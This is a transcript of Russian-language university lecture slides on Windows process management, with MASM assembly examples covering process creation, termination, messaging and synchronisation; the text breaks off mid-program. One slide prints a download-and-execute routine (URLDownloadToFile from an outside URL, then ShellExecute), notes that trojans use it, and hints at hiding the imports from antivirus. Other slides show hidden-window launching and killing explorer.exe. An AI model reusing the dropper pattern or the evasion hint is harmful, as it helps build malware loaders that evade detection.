Специальность 123 –«Компьютерная...
Transcript of Специальность 123 –«Компьютерная...
1111111111
Лекция № 13-1
Процесс
Презентация не содержит весь материал
лекции. И, поэтому, не может заменить
посещение лекции студентом !!!
Учебные вопросы:
1. Общие сведения о процессе
2. Создание процесса
3. Создание процесса с внешней программой
4. Запуск внешней программы несколько раз
5. Считывание внешнего файла из интернета и его выполнения
6. Программа для уничтожения/восстановления 'explorer.exe‘
7. Программа изменения подсветки текста кнопок меню
8. Передача сообщений между программами
9. Синхронизация заданий и процессов
Литература:
1. Рисований О.М. Системне програмування [Текст]: підручник для студентів напрямку “Комп'ютерна інженерія” вищих
навчальних закладів в 2-х томах. Том 1. – Видання четверте: виправлено та доповнено – Х.: “Слово”, 2015. – 576 с.
2. Рисований О.М. Системне програмування [Текст]: підручник для студентів напрямку “Комп'ютерна інженерія” вищих
навчальних закладів в 2-х томах. Том 2. – Видання четверте: виправлено та доповнено – Х.: “Слово”, 2015. – 368 с.
3. http://blogs.kpi.kharkov.ua/v2/asm/knigi/
«Системное программирование»
НАЦИОНАЛЬНЫЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ
“Харьковский политехнический институт”
Кафедра “Вычислительная техника и программирование”Специальность 123 – «Компьютерная инженерия»;
специализации:
123-01 «Компьютерные системы и сети»;
123-02 «Системное программирование»;
123-03 «Программирование компьютерных игр и мобильных приложений»;
Специальность 125 – «Кибербезопасность»
Лектор: к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
[email protected], [email protected], http://blogs.kpi.kharkov.ua/v2/asm/
1. Общие сведения о процессе
Процесс - это объект, который создается операционной системой, когда
пользователь запускает приложение. Процессу выделяется отдельное адресное
пространство, причем это пространство физически недоступно для других
процессов. Процесс может состоять из нескольких потоков, которые
выполняются «параллельно». Такие потоки называют также потоками
выполнения (от англ. thread of execution); иногда называют «нитями»
(буквальный перевод англ. thread) или неформальным «тредом».
Процес – это выполняемое применение, которое состоит из личного
виртуального адресного пространства, кода, данных и других ресурсов
операционной системы, таких как файлы, объекты синхронизаций, видимые для
процесса.
При загрузке на выполнение приложения выполняется проекция программного
файла на память и создается объект ядра «процесс».
Для каждого процесса операционная система создает один главный поток
(thread), который является потоком выполняющихся по очереди команд
центрального процессора.
2
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Процесс создается с помощью функции CreateProcess:
CreateProcess proto
lpApplicationName:DWORD,\ ; имя выполняемого модуля
lpCommandLine:DWORD,\ ; аргументы командной строки
lpProcessAttributes:DWORD,\ ; SD (дескриптор безопасности процесса)
lpThreadAttributes:DWORD,\ ; SD (дескриптор безопасности потока)
bInheritHandles:DWORD,\ ; дескриптор параметра наследования
dwCreationFlags:DWORD,\ ; флажки (признаки) создания
lpEnvironment:DWORD,\ ; новый блок конфигурации
lpCurrentDirectory:DWORD,\ ; имя текущего каталога
lpStartupInfo:DWORD,\ ; информация предустановки (указывает на
структуры STARTUPINFO та PROCESS_ INFORMATION)
lpProcessInformation:DWORD ; информация о процессе
2. Создание процесса
3
Пример: invoke CreateProcess,ADDR programname,0,0,0,FALSE,\
NORMAL_PRIORITY_CLASS, 0,0,ADDR startInfo,ADDR processInfo
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Структура PROCESS_INFORMATION имеет следующие параметры:
PROCESS_INFORMATION STRUCT
hProcess HANDLE ? ; хэндл дочеpнего пpоцессаhThread HANDLE ? ; хэндл основной ветви дочеpнего пpоцесса
dwProcessId DWORD ? ; ID дочеpнего пpоцесса
dwThreadId DWORD ? ; ID основной ветви
PROCESS_INFORMATION ENDS
ID пpоцеса – это уникальный идентификатор процесса в системе.
Хендл процесса – дескриптор, т.е. число, с помощью которого можно
идентифицировать ресурс.
После вызова функции CreateProcess, создается новый процесс и функция сразу
же возвращается.
Для проверки активности процесса используется функция GetExitCodeProcess:
GetExitCodeProcess proto hProcess:DWORD, lpExitCode:DWORD
Если вызов этой функции успешен, то lpExitСode будет содержать код выхода
приглашаемого процесса. Если значение в lpExitCode равняется STILL_ACTIVE,
тогда это значит, что процесс активен.
4
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Выполнение процесса можно прервать таким образом :
– с помощью функции ExitProcess;
– с помощью функции TerminateProcess:
TerminateProcess proto hProcess:DWORD, uExitCode:DWORD
Не рекомендуется перерывать выполнения процесса с помощью
TerminateProcess, потому что он сам или его DLL могут работать с диском и
можно потерять данные.
Однако, для того, чтобы воспользоваться функцией
TerminateProcess, необходимо сначала получить
описатель (handle) процесса. Это можно сделать с
помощью функции OpenProcess с параметром
PROCESS_TERMINATE.
5
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
6
Для получения более высокого приоритета потока, который
создает приоритетное окно, чем тот, который система дает
другим потокам, используется функция
GetForegroundWindow. Эта функция возвращает
дескриптор приоритетного окна (окна, с которым
пользователь в настоящее время работает).
Текст программы:
.686 ; директива определения типа микропроцессора
.model flat, stdcall ; задание линейной модели памяти и соглашения ОС Windows
option casemap:none ; отличие малых и больших букв
include \masm32\include\windows.inc ; файлы структур, констант …
include \masm32\macros\macros.asm
uselib user32,kernel32
.data
szTest db 'Test message',0
.code
_start:
invoke MessageBoxA,FUNC(GetForegroundWindow), addr szTest,0,0
ret
end _start
В качестве самого простого примера использования функции
CreateProcess можно рассмотреть программу. В этой программе
запускается один внешний файл "1-1.exe". Можно также прописать
путь нахождения файла, например "c:\windows\system32\calc.exe".
Функция CreateProcess создает процесс из внешней программы по
адресу запуска ADDR programname, заполняет структуру
PROCESS_INFORMATION с информацией о процессе и его
первичную нить и запускает эту внешнюю программу.
Функция GetCurrentProcessId получает псевдодескриптор для
текущего процесса, номер которого возвращается в регистре еах.
Функцией wsprintf выполняется преобразование числа в символ и
выведение псевдодескриптора функцией MessageBox.
3 . Создание процесса с внешней программой
7
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Программа запуска внешней программы:
.686 ; директива определения типа микропроцессора
.model flat,stdcall ; задание линейной модели памяти и соглашения ОС Windows
option casemap:none ; отличие малых и больших букв
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32;
.data
buff dd 0 ;
;programname db "c:\windows\system32\calc.exe",0
programname db "1-1.exe",0
titl db 'Level 0',0
frmt db 'My ProcID = %i (decimal)',0
startInfo dd ?
processInfo PROCESS_INFORMATION <> ; инф. о процессе и его первичной нити
.code
start:
invoke CreateProcess,ADDR programname,0,0,0,FALSE,\
NORMAL_PRIORITY_CLASS, 0,0,ADDR startInfo,ADDR processInfo
invoke GetCurrentProcessId ; извлекает псевдодескриптор для текущего процесса
invoke wsprintf,addr buff,addr frmt,eax
invoke MessageBox,0,addr buff, addr titl, MB_ICONINFORMATION+180000h
invoke ExitProcess,0
end start 8
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Программа с именем 1-1.asm, которую запускают как внешнюю.686 ; директива определения типа микропроцессора
.model flat,stdcall ; задание линейной модели памяти и соглашения ОС Windows
option casemap:none ; отличие малых и больших букв
include \masm32\include\windows.inc ; файлы структур, констант
include \masm32\macros\macros.asm
uselib kernel32,user32
.data
st1 db "Внимание! Процесс активный",0 ; буфер вывода сообщения
titl db "Просто MessageBoxTimeout",0
.code
start:
invoke MessageBoxTimeout,0,addr st1,addr titl,MB_ICONINFORMATION,0,9000
invoke ExitProcess, 0
end start
9
Функция MessageBoxTimeоut может
использоваться в программах автоматической
обработки данных, когда нужно вывести запрос
на действие пользователя и, если пользователь
недоступен, выполнить действие по умолчанию.
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
В качестве примера можно создать несколько одинаковых программ с разными
именами. В каждой программе в секции данные записаны имена файлов, которые она
вызывает и выполняет из этого списка . Таким образом, одна программа вызывает
следующую.
1. Программа с именем Proc2 содержит строку
programname db " Proc1.exe",0
2. Например, программа с именем Proc1 содержит строку
programname db "1-1.exe",0
В такой последовательности при запуске программы Proc2.ехе будет
выполнена программа Proc1.ехе, какая вызывает программу 1-1.exe.
10
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
11
.386
.model flat,stdcall
option casemap:none
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\user32.inc
include \MASM32\INCLUDE\shell32.inc
include \MASM32\INCLUDE\kernel32.inc
includelib \MASM32\LIB\user32.lib
includelib \MASM32\LIB\shell32.lib
includelib \MASM32\LIB\kernel32.lib
.data
szRunDLL db "путь и имя exe-шника",0
.code
start:
invoke WinExec,ADDR szRunDLL,SW_HIDE
invoke ExitProcess,NULL
end start
Программа запуска внешнего файла без создания процесса
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
….databuff db 4 dup(25 dup(?)) ; 100 db;programname db "c:\windows\system32\calc.exe",0programname db "1-1.exe",0titl db 'Level 0',0mask1 db 'My ProcID = %i (decimal)',0startInfo dd ?processInfo PROCESS_INFORMATION <> ; информация о процессе и его первичной нити.codestart:mov ecx,4_m1:push ecxinvoke GetStartupInfo,ADDR startInfo ; извлекает структуру STARTUPINFOinvoke CreateProcess,ADDR programname,0,0,0,FALSE,\
NORMAL_PRIORITY_CLASS,0,0,ADDR startInfo,ADDR processInfoinvoke CloseHandle,processInfo.hThread ; закрытие хендла потока
invoke GetCurrentProcessId ; извлекает идентификатор для текущего процессаinvoke wsprintf,addr buff,addr mask1,eaxinvoke MessageBox,0,addr buff,addr titl,MB_ICONINFORMATION+180000hpop ecx;dec ecx;jnz _m1loop _m1;invoke ExitProcess,0
end start ; 12
Если необходимо запускать программу несколько
раз, то нужно вставить счетчик, например:
4. Запуск внешней программы несколько раз
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32, urlmon, shell32
.code
start:
invoke URLDownloadToFile, 0, chr$("http://kaimi.ru/hello_world.exe"),
chr$("hello_world.exe"), 0, 0
invoke ShellExecute, 0, chr$("open"), chr$("hello_world.exe"), 0, 0, SW_SHOWNORMAL
invoke ExitProcess, 0
end start
Вариант 2Программа считывания внешнего файла
из интернета и его выполнение. В
Windows x64 такое использование
запрещено.
По такому принципу созданы вирусы-трояни.
Поэтому все антивирусы такую конструкцию команд запрещают!!!
Выход – эти функции описать в макросах
http://kaimi.ru/2011/11/importless-call/ 13
5. Cчитывание внешнего файла из интернета и его
выполнение
14
Функция ShellExecute не только запускает программы, а открывает, редактирует или печатает
файл, с учетом зарегистрированного типа, а также открывает указанную папку проводником.
Возвращает Handle ссылку на открытое окно.
Используемый модуль (библиотека, которую необходимо подключить) ShellAPI.
Описание: ShellExecute(hWnd: HWnd; Operation, FileName, Parameters, Directory: PChar;
ShowCmd: Integer): HINST; stdcall;
invoke ShellExecute,0,0,addr explname,0,0,SW_SHOWNORMAL
где: hWnd – Handle родительского окна, в который будут передаваться сообщения запускаемого
приложения. Можно указывать Handle-ссылку окна вашего приложения.
Operation – производимая операция. Open – открыть, print – напечатать, explore – открыть папку.
По умолчанию open, если указать null.
FileName – имя файла или документа, интернет ссылка, e-mail адрес.
Parametrs – параметры, передаваемые приложению в командной строке.
Directory – каталог по умолчанию.
CmdShow – стиль окна. Показывает, в каком состоянии будет отображаться окно при запуске.
Вместо параметров Operation, Parametrs и Directory можно ставить null. Они являются не
обязательными параметрами для запуска.
В случае успешного запуска возвращает Handle окна, в случае неудачи возвращает код ошибки
меньше или равное 32. Список возможных ошибок - в справке по этой команде.
Функция ShellExecute
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
.686 ; директива определения типа микропроцессора
.model flat,stdcall ; задание линейной модели памяти и соглашения ОС Windows
option casemap:none ; отличие малых и больших букв
include \masm32\include\windows.inc ; файлы структур, констант …
include \masm32\macros\macros.asm
uselib kernel32, user32,shell32,advapi32;
.data
P dd ? ; адрес переменной для идентификатора процесса
lpClassName db 'Progman',0
explname db 'explorer.exe',0.code
start:
; отключение оболочки
invoke FindWindow,offset lpClassName,0 ;извлекает дескриптор окна верхнего уровня
invoke GetWindowThreadProcessId,eax,offset P ; возвращает обратно идентификатор потока
invoke OpenProcess,PROCESS_TERMINATE,\; признак доступа
0,P ; параметр дескриптора наследования и идентификатор процесса
invoke TerminateProcess,eax,1
; включение оболочки
invoke ShellExecute,0,0,addr explname,0,0,SW_SHOWNORMAL
invoke ExitProcess,0
end start
6. Программа для уничтожения 'explorer.exe‘ (панели задач)
эта программа “убивает” панель задач (нижнюю часть экрана).
Перезагрузка только через кн. Reset на системном блоке.
Или Ctrl_Shift+Esc --Файл- выполнить - explorer.exe15
Функция ShellExecute так НЕ применяется!!!
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
16
.686
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32,shell32,advapi32;
.data
Pr dd ? ; адрес переменной для идентификатора процесса
lpClassName db 'Progman',0
explname db 'c:\Windows\explorer.exe',0
shell db "Shell_TrayWnd",0 ; это имя класса панели задач
startInfo dd ?
processInfo PROCESS_INFORMATION <> ; инф. о процессе и его первичной нити
.code
start:
; отключение оболочки
invoke FindWindow,offset lpClassName,0 ;извлекает дескриптор окна верхнего уровня
invoke GetWindowThreadProcessId,eax,offset Pr ; возвращает обратно идентификатор потока
invoke OpenProcess,PROCESS_TERMINATE,\ ; признак доступа
0,Pr ; параметр дескриптора наследования и идентификатор процесса
invoke TerminateProcess,eax,1
invoke Sleep,5000
; включение оболочки
;invoke ShellExecute,eax,0,addr explname,0,0,SW_SHOWNORMAL
invoke CreateProcess,ADDR explname,0,0,0,FALSE,\
NORMAL_PRIORITY_CLASS,0,0,ADDR startInfo,ADDR processInfo
invoke ExitProcess,0
end start
Программа для
уничтожения 'explorer.exe‘
(панели задач) и
восстановления
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Файл ресурсов основной программы:
// Constants for menu
#define IDM_CREATE_PROCESS 1
#define IDM_TERMINATE 2
#define IDM_EXIT 3
FirstMenu MENU
{
POPUP "Process"
{
MENUITEM "Create Process",IDM_CREATE_PROCESS
MENUITEM "Terminate Process",IDM_TERMINATE
MENUITEM SEPARATOR
MENUITEM "Exit",IDM_EXIT
}
}
17
Рассмотрим пример, в котором при выборе пункта меню "Create Process" будет создан новый
процесс.
В качестве этого процесса будет запускаться программа с именем 1-2.ехе. Эта программа читает
файл из интернета и выполняет его без предупреждения 34.3). По такому принципу созданы
вирусы-трояни.
7. Программа изменения подсветки текста кнопок меню(самостоятельно)
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Основная программа создания процесса:
.686 ; директива определения типа микропроцессора
.model flat,stdcall ; задание линейной модели памяти и соглашения ОС Windows
option casemap:none ; отличие малых и больших букв
include \masm32\include\windows.inc ; файлы структур, констант …
include \masm32\macros\macros.asm
uselib user32,kernel32
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
.const
IDM_CREATE_PROCESS equ 1 ; кнопка "Create Process"
IDM_TERMINATE equ 2 ; кнопка "Terminate Process"
IDM_EXIT equ 3 ; кнопка "Exit"
.data
ClassName db "Win32ASMProcessClass",0
AppName db "Win32 ASM Process Example",0
MenuName db "FirstMenu",0
processInfo PROCESS_INFORMATION <> ; инф. о процессе и его первичной нити
programname db "1-1.exe",0
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HANDLE ?
ExitCode DWORD ? ; ячейка для кода окончания
.code 18
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL startInfo:STARTUPINFO ; резервирование стека
.IF uMsg==WM_DESTROY ; если есть сообщение об уничтожении окна
invoke PostQuitMessage,NULL ; передача сообщения об уничтожении
.ELSEIF uMsg==WM_INITMENUPOPUP ; когда "выскакивающее" меню собирается
; стать активным
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode ; извлекает статус
; окончания указанного процесса
.if eax==TRUE ; если истинно, то
.if ExitCode==STILL_ACTIVE ; если активный
invoke EnableMenuItem,hMenu,\ ; окрашивает в серый цвет
IDM_CREATE_PROCESS,\; пункт меню, который избран
MF_GRAYED ; блокировано
invoke EnableMenuItem,hMenu,IDM_TERMINATE,\
MF_ENABLED ; пункт меню включено
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,\
MF_GRAYED ; пункт меню заблокировано
.endif19
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_PROCESS ; если нажато на кн.
.if processInfo.hProcess != 0 ; процесс запущен?
invoke CloseHandle,processInfo.hProcess ; закрытие хендла процесса
mov processInfo.hProcess,0
.endif ;
invoke GetStartupInfo,ADDR startInfo ; возобновляет структуру STARTUPINFO
invoke CreateProcess,ADDR programname,0,0,0,FALSE,\
NORMAL_PRIORITY_CLASS, 0,0,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread ; закрытие хендла потока
.elseif ax==IDM_TERMINATE ; если нажата кн.
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode ; возобновляет
; статус окончания указанного процесса
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0 ; заканчивает процесс и его нити
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSE …
Когда пользователь выбирает пункт "Start process", то сначала проверяется,
закрыт ли уже параметр hprocess структуры Process_information. Если это в
первый раз, то значение hprocess будет равняться нулю. Если значение параметра
hprocess не равняется нулю, то это значит, что дочеpний процесс уже запущен, но
не закрыли его хендл.
Функция Getsturtupinfo необходима для заполнения структуры Sturtupinfo,
которая необходима для функции Createprocess.
Сpазу же после CreateProcess, закрывается хендл потока через структуру
SturtUpInfo.
20
Когда пользователь выбирает пункт "Start process", то
сначала проверяется, закрыт ли уже параметр hProcess
структуры PROCESS_INFORMATION. Если это в первый
раз, то значение hProcess будет равняться нулю. Если
значение паpаметpа hProcess не равняется нулю, то это
значит, что дочеpний процесс уже запущен, но не
закрыли его хендл.
Функция GetSturtupInfo необходимая для заполнения
структуры SturtUpInfo, какая необходима для функции
CreateProcess.
Сpазу же после CreateProcess, закрывается хендл потока
через структуру SturtUpInfo.
21
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
8. Передача сообщений между программами
Рассмотрим обмен информацией через использование
функции RegisterWindowMessage, которая принимает
параметр - указатель на строку сообщения. Возвращает эта
функция номер сообщения, которое связано с этой строкой.
Окно верхнего уровня получает сообщение в виде двух его параметров
wParam и IParam, каждое из которых имеет тип DWORD. В примере
отправляем как параметр номер нажатой кнопки, который определяется
его идентификатором (например IDC_BTN1 equ 1001) Поэтому
вычисляется как ID кнопки минус 1000:
22
(обзорно)
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Файл ресурсов программы “Клиент” (создаем через прог. ResEd):
#define IDD_DIALOG1 101
#define IDC_BTN1 1001
#define IDC_BTN2 1002
#define IDC_BTN3 1003
#define IDC_BTN5 1004
#include "C:/masm32/include/RESOURCE.H"
IDD_DIALOG1 DIALOGEX 6,6,144,52
CAPTION "Программа Клиент"
FONT 8,"MS Sans Serif",0,0,0
STYLE WS_VISIBLE|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME|DS_CENTER
BEGIN
CONTROL "Кнопка 1",IDC_BTN1,"Button",WS_CHILDWINDOW|WS_VISIBLE|
WS_TABSTOP, 2,2,46,27
CONTROL "Кнопка 2",IDC_BTN2,"Button",WS_CHILDWINDOW|WS_VISIBLE|
WS_TABSTOP,50,2,43,27
CONTROL "Кнопка 3",IDC_BTN3,"Button",WS_CHILDWINDOW|WS_VISIBLE
|WS_TABSTOP,96,2,46,27
CONTROL "Exit",IDC_BTN5,"Button",WS_CHILDWINDOW|WS_VISIBLE|
WS_TABSTOP, 2,34,139,15
END23
Программа “Клиент”:
. uselib kernel32,user32,Comctl32,shell32
IDD_DIALOG1 equ 101
IDC_BTN1 equ 1001
IDC_BTN2 equ 1002
IDC_BTN3 equ 1003
IDC_BTN5 equ 1004
DlgProc PROTO :HWND,:UINT,:WPARAM,:LPARAM
.data
hInstance dd ?
Message1 dd 0
MsgString db 'Message1',0
msgError db 'Error',0
msgMNR db 'Message not registered',0
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke RegisterWindowMessage,ADDR MsgString
mov Message1,eax
.if !eax
invoke MessageBox,0,ADDR msgMNR, ADDR msgError,MB_APPLMODAL or MB_ICONERROR
.else
invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,addr DlgProc,NULL
.endif
invoke ExitProcess,024
DlgProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
mov eax,uMsg
.if eax==WM_COMMAND
mov eax,wParam
.if eax==IDC_BTN5 ; "Exit",IDC_BTN5,"Button"
jmp lbl1
.elseif (eax==IDC_BTN1) || (eax==IDC_BTN2) || (eax==IDC_BTN3)
sub eax,1000
invoke SendMessage,HWND_BROADCAST,Message1,eax,0
.endif
.elseif eax==WM_CLOSE
lbl1:
invoke EndDialog,hWin,0
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
end start
25
отправляет заданное сообщение окну
Файл ресурсов программы “Сервер”:
#define IDD_DIALOG1 101
#define IDC_STC1 1001
#define IDC_BTN2 1002
#include "C:/masm32/include/RESOURCE.H"
IDD_DIALOG1 DIALOGEX 6,6,192,35
CAPTION "Программа Сервер"
FONT 8,"MS Sans Serif",0,0,0
STYLE WS_VISIBLE|WS_CAPTION|WS_SYSMENU|
WS_THICKFRAME| DS_CENTER
BEGIN
CONTROL "Нажатой кнопки НЕТ",IDC_STC1,"Static",
WS_CHILDWINDOW| WS_VISIBLE| WS_GROUP| SS_SUNKEN,5,4,182,9
CONTROL "Exit",IDC_BTN2,"Button",WS_CHILDWINDOW|WS_VISIBLE|
WS_TABSTOP, 2,17,186,15
END
26
Программа “Сервер”:
IDD_DIALOG1 equ 101
IDC_STC1 equ 1001
IDC_BTN2 equ 1002
.data
Message1 dd 0
MsgString db 'Message1',0
FmtStr db 'Кнопка %d нажата',0
msgError db 'Error',0
msgMNR db 'Message not registered',0
.data?
Buffer db 20 dup(?)
hInstance dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke RegisterWindowMessage,ADDR MsgString
mov Message1,eax
.if !eax
invoke MessageBox,0,ADDR msgMNR, ADDR msgError,MB_APPLMODAL or
MB_ICONERROR
.else
invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,addr DlgProc,NULL
.endif
27
DlgProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
mov eax,uMsg
.if eax==Message1 ; если получено зарегистрированное сообщение
invoke wsprintf,ADDR Buffer, ADDR FmtStr,wParam
invoke SetDlgItemText,hWin,IDC_STC1,ADDR Buffer
.elseif eax==WM_COMMAND
cmp wParam,IDC_BTN2
jz lbl1
.elseif eax==WM_CLOSE
lbl1:
invoke EndDialog,hWin,0
.else
mov eax,FALSE
ret
.endif
28
устанавливает заголовок или текст органа управления
в диалоговом окне
Большинство ошибок при работе с потоками возникают из-за того, что во время работы разные
потоки пытаются обратиться к одним и тем же данным.
Для синхронизация заданий и процессов различают объекты синхронизации:
– семафор (Semaphore);
– событие (Event);
– мьютекс (Mutex);
– таймер (Timer);
– критическая секция (Critical Section).
Семафор является одним из объектов синхронизации и содержит счетчик, который учитывает
количество потоков, которые обратились к данному ресурсу. Семафор создается с помощью
функции CreateSemaphore.
Событие(Event) – это флажок, которому функциями SetEvent/ResetEvent можно задать
сигнализирующее состояние или нейтральное.
Синтаксис функции:
HANDLE CreateEvent (
LPSECURITY_ATTRIBUTES lpEventAttributes, // атрибут защиты
BOOL bManualReset, // тип сброса TRUE - ручной
BOOL bInitialState, // начальное состояние TRUE - сигнальное
LPCTSTR lpName // имя обьекта
);
Мьютекс (Mutex) – по сравнению с событием это более специализированный объект.
Таймер блокирует выполнение потока до определенного времени CreateWaitableTimer.
Критическая секция(англ. critical section) – объект синхронизации потоков, что позволяет
предотвратить одновременное выполнение некоторого набора операций (обычно связанных с
доступом к данным) несколькими потоками. 29
9. Синхронизация заданий и процессов
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Ожидание завершения задания или процессаЕсли нужно дождаться завершения одного задания или одного процесса, то
для этого используют функцию WaitForSingleObject.
Прототип функции WaitForSingleObject:
DWORD WaitForSingleObject(
HANDLE hObject, // идентификатор объекта
DWORD dwTimeout); // время ожидания в миллисекундах
Ожидание завершения нескольких заданий или процессов
При необходимости ожидания нескольких заданий или процессов используется функция
WaitForMultipleObjects, прототип которой приведен такой:
DWORD WaitForMultipleObjects(
DWORD cObjects, // количество идентификаторов в массиве
CONST HANDLE *lphObjects, // адрес массива идентификаторов
BOOL fWaitAll, // тип ожидания
DWORD dwTimeout); // время ожидания в миллисекундах
Пример использования функции WaitForMultipleObjects:
WaitForMultipleObjects(3, hThreads, TRUE, INFINITE);
В данном случае задание, которое вызывало функцию WaitForMultipleObjects, перейдет в
состояние ожидания до тех пор, пока все три задания не завершат свою работу.
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
31
title ; masm64include \masm32\include64\masm64rt.inc.data ;mas1 DD 20 dup(0,2,4,6) ; резервирование ячеек памяти для mas1
dd 16 dup(1) ; 80+16=96len1 equ ($-mas1)/type mas1mas2 DD len1 dup(0) ; резервирование ячеек памяти для mas2titl1 db "Пересылка целых чисел",0buf1 dq 0,0 ; буферtFpu dq 0tSse dq 0ifmt db "Число тиков FPU = %d ",10,10,"Число тиков SSE = %d ",10,"Автор программы: Рысованый А.Н., каф. ВТП, НТУ ХПИ",0h1 dq ? ; идентификатор потокаh2 dq ? ; идентификатор потокаhEventStart HANDLE ? ;хэндл события.codeproc1 proc ; процедура rdtscxchg r14,rax finitmov rcx,len1 ; количество чисел массива mas1lea rsi,mas1 ; адрес начала массива mas1lea rdi,mas2 ; адрес начала массива mas2@@: fild dword ptr [rsi] ; загрузка целого числаfistp dword ptr [rdi]add rsi,type mas1; add rdi,type mas1; loop @brdtscsub rax,r14mov tFpu,raxretproc1 endp ;
Пример перемещения массивов через FPU и SSE
с выводом числа тактов на эти операции в разных потоках
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
32
proc2 proc ; процедура rdtscxchg r14,rax mov rcx,len1 ; количество чисел массива mas1lea rsi,mas1 ; адрес начала массива mas1lea rdi,mas2 ; адрес начала массива mas2@@: movups XMM0,mas1 ; пересылка 4-x целых чиселmovups mas2,xmm0add rsi,type mas1; add rdi,type mas1;loop @brdtscsub rax,r14mov tSse,raxretproc2 endp;
entry_point proclea rax, proc1 ; загрузка адреса процедуры invoke CreateThread,0,0,rax,0,0,addr h1 ; создать процессlea rax, proc2 ; загрузка адреса процедуры invoke CreateThread,0,0,rax,0,0,addr h2; создать процессinvoke CreateEvent,0,FALSE,FALSE,0; создание событияmov hEventStart,rax ; сохранение хендла событияinvoke WaitForSingleObject,hEventStart,1000invoke wsprintf,addr buf1,ADDR ifmt,tFpu,tSse;invoke MessageBox,0,addr buf1,addr titl1,MB_ICONINFORMATION invoke ExitProcess,0entry_point endpend
Вывод: число тиков FPU
почему-то в 20 раз
меньше, чем должно
быть. Объяснить.
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
33
Bat-файл:
@echo off
set appname=23
del %appname%.obj
del %appname%.exe
\masm32\bin64\ml64.exe /c /nologo %appname%.asm
\masm32\bin64\link.exe /SUBSYSTEM:WINDOWS
/ENTRY:entry_point /nologo /LARGEADDRESSAWARE
%appname%.obj
dir %appname%.*
pause
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
34
Программа использования потоков для процедур управления Cd-привода, управления
системным динамиком, управления светодиодами на клавиатуре, управления мышкой без
вмешательства пользователя. Кроме того, программой создается икона в системном трее.
.686
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32,shell32,winmm;
.data
_cmd_eject db 'set cdaudio door open',0
_cmd_close db 'set cdaudio door closed',0
_name db "- перемещение курсора;",0ah,0dh,\
"- открытие и закрытие CD; ", 0ah,0dh,\
"- звуковые сигналы динамика; ", 0ah,0dh,\
"- мигание светодиодов на клавиатуре ", 0
titl db 'Процессы',0 ; название упрощенного окна
IDI_ICON1 equ 1 ; иконка
hlnstance dd ? ; хендл программы
X DWORD ? ; координата курсора
Y DWORD ? ; координата курсора
h0 dd ? ; идентификатор потока
h1 dd ? ; идентификатор потока
h2 dd ? ; идентификатор потока
h3 dd ? ; идентификатор потока
hEventStart HANDLE ? ;хендл события
note NOTIFYICONDATA <>; структура для иконы в трее
.code
_st:
invoke MessageBox,NULL,ADDR _name, ADDR
titl,MB_ICONINFORMATION
invoke GetModuleHandle,0 ;
mov hlnstance,eax; будет нужен для загр. иконки в трее
mov note.cbSize,sizeof NOTIFYICONDATA ; размер
mov note.hwnd,eax; хендл окна
mov note.uID,IDI_ICON1 ;
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP ; признаки
mov note.uCallbackMessage,0
invoke LoadIcon,hlnstance,IDI_ICON1 ; иконка
mov note.hIcon,eax
invoke Shell_NotifyIcon,NIM_ADD,addr note ; икона в трее
lea eax, _procCD ; загрузка адреса процедуры
invoke CreateThread,0,0,eax,0,0,addr h0 ; создать процесс
lea EAX, _procMOUSE ; загрузка адреса процедуры
